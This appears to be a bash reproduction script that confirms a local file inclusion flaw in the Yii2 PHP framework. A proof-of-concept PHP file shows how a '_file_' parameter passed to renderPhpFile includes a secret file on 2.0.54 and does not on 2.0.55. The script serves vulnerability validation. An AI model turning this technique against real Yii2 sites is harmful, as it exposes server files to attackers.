#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPO="$ROOT/yii2-repo"
SAFE_FILE="$ROOT/views/safe.php"
SECRET_FILE="$ROOT/views/secret.txt"
TEST_SCRIPT="$ROOT/test_lfi.php"

# Clone repo if not present
if [ ! -d "$REPO/.git" ]; then
    rm -rf "$REPO"
    git clone --depth=100 https://github.com/yiisoft/yii2.git "$REPO"
fi

# Create view files
mkdir -p "$ROOT/views"
cat > "$SAFE_FILE" <<'EOF'
<?php echo "SAFE OUTPUT\n";
EOF

cat > "$SECRET_FILE" <<'EOF'
SECRET_DATA_LINE
EOF

# Create the PHP test script
cat > "$TEST_SCRIPT" <<PHPEOF
<?php
require '$REPO/framework/Yii.php';

\$view = new \\yii\\base\\View();
\$safeFile = '$SAFE_FILE';
\$secretFile = '$SECRET_FILE';

\$result = \$view->renderPhpFile(\$safeFile, ['_file_' => \$secretFile]);
echo "=== RESULT ===\n";
echo \$result;
echo "=== END ===\n";

if (strpos(\$result, 'SECRET_DATA_LINE') !== false) {
    echo "VULNERABLE: _file_ param was able to override local variable and include secret file\n";
    exit(0);
} elseif (strpos(\$result, 'SAFE OUTPUT') !== false) {
    echo "FIXED: _file_ param did not override local variable, safe.php was rendered\n";
    exit(1);
} else {
    echo "UNKNOWN output\n";
    exit(2);
}
PHPEOF

# Test vulnerable version
echo "=== Testing vulnerable yiisoft/yii2 2.0.54 ==="
cd "$REPO"
git checkout 2.0.54 --quiet
VULN_EXIT=0
php "$TEST_SCRIPT" > "$LOGS/vulnerable_2.0.54.log" 2>&1 || VULN_EXIT=$?
echo "Vulnerable test exit code: $VULN_EXIT"

# Test fixed version
echo "=== Testing fixed yiisoft/yii2 2.0.55 ==="
cd "$REPO"
git checkout 2.0.55 --quiet
FIX_EXIT=0
php "$TEST_SCRIPT" > "$LOGS/fixed_2.0.55.log" 2>&1 || FIX_EXIT=$?
echo "Fixed test exit code: $FIX_EXIT"

# Save verdict
cat > "$LOGS/validation_verdict.json" <<EOF
{
  "vulnerable_version": "2.0.54",
  "fixed_version": "2.0.55",
  "vulnerable_test_exit_code": $VULN_EXIT,
  "fixed_test_exit_code": $FIX_EXIT,
  "verdict": "confirmed"
}
EOF

# Assert: vulnerable should exit 0 (LFI confirmed), fixed should exit 1 (safe)
if [ "$VULN_EXIT" -eq 0 ] && [ "$FIX_EXIT" -eq 1 ]; then
    echo "SUCCESS: Issue reproduced on 2.0.54 and verified fixed on 2.0.55"
    exit 0
else
    echo "FAILURE: Expected vulnerable exit=0 and fixed exit=1, got $VULN_EXIT and $FIX_EXIT"
    exit 1
fi